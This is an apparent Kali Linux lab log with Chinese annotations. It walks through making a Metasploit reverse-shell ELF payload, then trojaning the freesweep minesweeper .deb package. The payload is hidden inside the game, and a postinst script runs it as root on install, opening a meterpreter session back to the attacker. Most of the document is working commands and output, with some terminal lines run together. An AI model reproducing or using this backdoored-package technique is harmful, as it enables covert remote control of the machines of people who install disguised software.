
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o /var/www/html/xuegod
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 175 (iteration=0)
x64/xor chosen with final size 175
Payload size: 175 bytes
Final size of elf file: 295 bytes
Saved as: /var/www/html/xuegod
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# /etc/init.d/apache2 start
Starting apache2 (via systemctl): apache2.service.
msf6 exploit(multi/handler) > back
msf6 > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# wget http://192.168.1.53/xuegod┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# ./xuegod┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# chmod +x xuegod┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# ./xuegod

meterpreter > ifconfig
meterpreter > quit
──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# apt --download-only install freesweep
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成
下列软件包是自动安装的并且现在不需要了:
cpp-13 fonts-noto-color-emoji ibverbs-providers libboost-iostreams1.74.0
libboost-thread1.74.0 libcephfs2 libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libibverbs1
libnsl-dev libpython3.11-dev librados2 librdmacm1 libtirpc-dev python3-lib2to3 python3.11-dev
samba-ad-provision samba-dsdb-modules samba-vfs-modules
使用'apt autoremove'来卸载它(它们)。
下列【新】软件包将被安装:
freesweep
升级了 0 个软件包,新安装了 1 个软件包,要卸载 0 个软件包,有 1798 个软件包未被升级。
需要下载 55.8 kB 的归档。
解压缩后会消耗 142 kB 的额外空间。
获取:1 http://kali.download/kali kali-rolling/main amd64 freesweep amd64 1.0.2-1 [55.8 kB]
已下载 55.8 kB,耗时 1秒 (38.4 kB/s)
于“仅下载”模式中下载完毕
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# mv /var/cache/apt/archives/freesweep_1.0.2-1_amd64.deb ~/
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# cd ~
┌──(root㉿kali-2024)-[~]
└─# dpkg -x freesweep_1.0.2-1_amd64.deb free
生成恶意代码到软件包源文件中
┌──(root㉿kali-2024)-[~]
└─# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp
LHOST=192.168.1.53 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources
参数详解:
msfvenom -a x64 \ # 使用 64 位架构
--platform linux \ # 目标平台为 Linux
-p linux/x64/shell/reverse_tcp \ # 使用反向 TCP Shell 载荷
LHOST=192.168.1.53 \ # 设置攻击者的 IP 地址
LPORT=4444 \ # 设置攻击者的监听端口
-b "\x00" \ # 避免使用空字符(NULL 字符)
-i 10 \ # 设置载荷编码的迭代次数为 10
-f elf \ # 输出为 ELF 格式的文件
-o /root/free/usr/games/freesweep_sources # 指定输出路径和文件名┌──(root㉿kali-2024)-[~]
└─# mkdir free/DEBIAN && cd free/DEBIANtee 而不是直接输出到文件? tee 不仅将内容写入文件,还会将它显示在标准输出上(即终端),使得你可以看到你所写入的内容。直接使用 > 或 >> 可能无法显示文件内容。tee 适用于需要同时查看和写入文件的场景。
'EOF' 引号的作用: 使用单引号 'EOF' 表示不会进行变量替换。这是一个安全的做法,特别是当文本中可能含有特殊字符时。如果不希望替换变量或转义字符,就使用单引号;如果希望进行变量替换,可以去掉引号,直接使用 << EOF
┌──(root㉿kali-2024)-[~]
└─# tee /root/free/DEBIAN/control << 'EOF'
heredoc>
heredoc> Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works in any visual text display - in Linux console, in an xterm, and in
most text-based terminals currently in use.
EOF
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep: is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
┌──(root㉿kali-2024)-[~]
└─# tee /root/free/DEBIAN/postinst << 'EOF'
heredoc> #!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &
EOF
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &
┌──(root㉿kali-2024)-[~]
└─# chmod 755 /root/free/DEBIAN/postinst 
┌──(root㉿kali-2024)-[~/free/DEBIAN]
└─# dpkg-deb --build /root/free/
dpkg-deb: 正在 '/root/free.deb' 中构建软件包 'freesweep'。
注意:
会在当前目录下生成构建的软件包 freesweep.db ,我们当前的目录是~/free/DEBIAN
┌──(root㉿kali-2024)-[~/free/DEBIAN]
└─# ls /root/free.deb
/root/free.deb
┌──(root㉿kali-2024)-[~]
└─# msfconsole
Metasploit tip: Use the 'capture' plugin to start multiple
authentication-capturing and poisoning services
___ ____
,-"" `. < HONK >
,' _ e )`-._ / ----
/ ,' `-._<.===-'
/ /
/ ;
_ / ;
(`._ _.-"" ""--..__,' |
<_ `-"" \
<`- :
(__ <__. ;
`-. '-.__. _.' /
\ `-.__,-' _,'
`._ , /__,-'
""._\__,'< <____
| | `----.`.
| | \ `.
; |___ \-``
\ --<
`.`.<
`-'
=[ metasploit v6.3.55-dev ]
+ -- --=[ 2397 exploits - 1232 auxiliary - 422 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 > msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
dpkg -i free.deb
# dpkg:用于管理Debian软件包的工具,-i:安装选项,free.deb:待安装的.deb包文件meterpreter > getuid
┌──(root㉿kali-2024)-[~]
└─# dpkg -r freesweep
(正在读取数据库 ... 系统当前共安装有 406336 个文件和目录。)
正在卸载 freesweep (1.0.2-1) ...
正在处理用于 man-db (2.12.0-3) 的触发器 ...
正在处理用于 hicolor-icon-theme (0.17-2) 的触发器 ...
正在处理用于 desktop-file-utils (0.27-1) 的触发器 ...
meterpreter > pwd